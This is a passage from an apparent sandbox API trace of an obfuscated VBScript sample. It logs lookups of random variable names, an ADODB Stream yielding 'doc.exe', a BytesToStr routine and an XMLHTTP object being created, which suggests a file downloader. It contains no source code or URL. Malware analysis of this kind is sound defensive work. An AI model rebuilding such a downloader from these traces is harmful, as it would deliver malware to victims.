wReserved2=0x6768, wReserved3=0x83d, varVal1="utf-8", varVal2=0x154a3c)), rgdispidNamedArgs=([0]=0x1548a0*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154880*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1548c4*=0x962bad0) returned 0x0 [0088.947] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0088.947] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0088.948] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0088.948] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0088.948] GetCurrentThreadId () returned 0xd44 [0088.948] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.948] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0088.949] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0088.949] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0088.949] GetCurrentThreadId () returned 0xd44 [0088.949] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.949] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0088.949] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0088.949] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0088.949] GetCurrentThreadId () returned 0xd44 [0088.949] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.949] ??2@YAPAXI@Z () returned 0x86bff10 [0088.949] malloc (_Size=0x804) returned 0x83fc220 [0088.950] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0088.950] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.950] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0088.950] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="ReadText", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=19) returned 0x0 [0088.950] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0088.950] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0088.950] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=19, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x1545b8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66c8, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66c8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="doc.exe", varVal2=0x0), pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0088.950] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0088.950] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0088.951] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0088.951] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0088.951] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0088.951] GetCurrentThreadId () returned 0xd44 [0088.951] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.951] ??2@YAPAXI@Z () returned 0x86bff10 [0088.951] malloc (_Size=0x804) returned 0x83fc220 [0088.951] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0088.951] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0088.951] _wcsicmp (_String1="BytesToStr", _String2="BytesToStr") returned 0 [0088.952] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0088.952] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0088.952] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0088.952] GetCurrentThreadId () returned 0xd44 [0088.952] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.952] ??2@YAPAXI@Z () returned 0x86bff10 [0088.952] malloc (_Size=0x804) returned 0x83fc220 [0088.952] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0088.953] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.953] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0088.953] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="Close", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=11) returned 0x0 [0088.953] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0088.953] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0088.953] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=11, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1545b8*(rgvarg=0x83d66c8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=0x83d66c8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0088.953] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0088.954] free (_Block=0x1197880) [0088.954] free (_Block=0x86ea2e0) [0088.954] free (_Block=0x84750c8) [0088.954] free (_Block=0x83d9f10) [0088.954] ??3@YAXPAX@Z () returned 0xc80001 [0088.955] free (_Block=0x1197838) [0088.955] free (_Block=0x11c29f0) [0088.955] free (_Block=0x11917e0) [0088.955] free (_Block=0x83d9df8) [0088.955] ??3@YAXPAX@Z () returned 0xb60001 [0088.955] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.955] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="xport", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.955] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="xport", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.955] GetCurrentThreadId () returned 0xd44 [0088.955] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.956] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.956] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="strsaveto", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.956] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="strsaveto", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.956] GetCurrentThreadId () returned 0xd44 [0088.956] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.956] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.957] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="uqredvgyd", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.957] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="uqredvgyd", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.957] GetCurrentThreadId () returned 0xd44 [0088.957] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.957] realloc (_Block=0x844c5d0, _Size=0x500) returned 0x87928c0 [0088.957] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.957] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="hrc", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.957] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="hrc", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.958] GetCurrentThreadId () returned 0xd44 [0088.958] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.958] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.958] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="njigh", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.958] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="njigh", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.958] GetCurrentThreadId () returned 0xd44 [0088.958] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.959] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.959] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ghwrthytketuketkryumktymjkur", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.959] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ghwrthytketuketkryumktymjkur", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.959] GetCurrentThreadId () returned 0xd44 [0088.959] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.960] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.960] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vi", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.960] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vi", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.960] GetCurrentThreadId () returned 0xd44 [0088.960] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.960] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.960] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="yyuyuy", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.960] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="yyuyuy", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.960] GetCurrentThreadId () returned 0xd44 [0088.961] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.961] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.961] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="te", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.961] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="te", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.961] GetCurrentThreadId () returned 0xd44 [0088.961] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.961] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.962] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lmknk", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.962] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lmknk", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.962] GetCurrentThreadId () returned 0xd44 [0088.962] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.962] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.962] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="quote", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.962] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="quote", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.962] GetCurrentThreadId () returned 0xd44 [0088.962] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.963] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.963] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="jrjrrarjr", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.963] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="jrjrrarjr", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.963] GetCurrentThreadId () returned 0xd44 [0088.963] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.963] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.964] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="eirgwr22gyig2r", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.964] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="eirgwr22gyig2r", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.964] GetCurrentThreadId () returned 0xd44 [0088.964] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.964] ??2@YAPAXI@Z () returned 0x86bff10 [0088.964] malloc (_Size=0x804) returned 0x83fc220 [0088.964] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0088.964] CLSIDFromProgIDEx (in: lpszProgID="msxml2.xmlhttp.3.0", lpclsid=0x1549dc | out: lpclsid=0x1549dc*(Data1=0xf5078f35, Data2=0xc551, Data3=0x11d3, Data4=([0]=0x89, [1]=0xb9, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1f, [6]=0xe2, [7]=0x21))) returned 0x0 [0088.964] SysStringLen (param_1=0x0) returned 0x0 [0088.964] CoGetClassObject (in: rclsid=0x1549dc*(Data1=0xf5078f35, Data2=0xc551, Data3=0x11d3, Data4=([0]=0x89, [1]=0xb9, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1f, [6]=0xe2, [7]=0x21)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1549cc | out: ppv=0x1549cc*=0x72b7d5f8) returned 0x0 [0088.965] DOMDocument:IUnknown:QueryInterface (in: This=0x72b7d5f8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x1549c8 | out: ppvObject=0x1549c8*=0x0) returned 0x80004002 [0088.965] DOMDocument:IClassFactory:CreateInstance (in: This=0x72b7d5f8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1549d0 | out: ppvObject=0x1549d0*=0x555368) returned 0x0 [0088.965] DOMDocument:IUnknown:AddRef (This=0x72b7d5f8) returned 0x1 [0088.965] DOMDocument:IUnknown:QueryInterface (in: This=0x555368, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154994 | out: ppvObject=0x154994*=0x55539c) returned 0x0 [0088.965] ??2@YAPAXI@Z () returned 0x1112980 [0088.965] DOMDocument:IObjectWithSite:SetSite (This=0x55539c, pUnkSite=0x1112980) returned 0x0 [0088.965] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154858 | out: ppvObject=0x154858*=0x0) returned 0x80004002 [0088.965] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154848 | out: ppvObject=0x154848*=0x0) returned 0x80004002 [0088.965] DOMDocument:IUnknown:AddRef (This=0x1112980) returned 0x2 [0088.965] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154908 | out: ppvObject=0x154908*=0x1112980) returned 0x0 [0088.965] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153868 | out: ppvObject=0x153868*=0x1112980) returned 0x0 [0088.965] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15383c | out: ppvObject=0x15383c*=0x0) returned 0x80004002 [0088.966] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1537d0 | out: ppvObject=0x1537d0*=0x83fd368) returned 0x0 [0088.966] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1537cc | out: ppvObject=0x1537cc*=0x83fd378) returned 0x0 [0088.966] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15383c | out: ppvObject=0x15383c*=0x0) returned 0x80004002 [0088.966] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.966] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.966] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153844 | out: ppvObject=0x153844*=0x0) returned 0x80004002 [0088.966] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1537d0 | out: ppvObject=0x1537d0*=0x83fd368) returned 0x0 [0088.966] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1537cc | out: ppvObject=0x1537cc*=0x83fd378) returned 0x0 [0088.966] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, 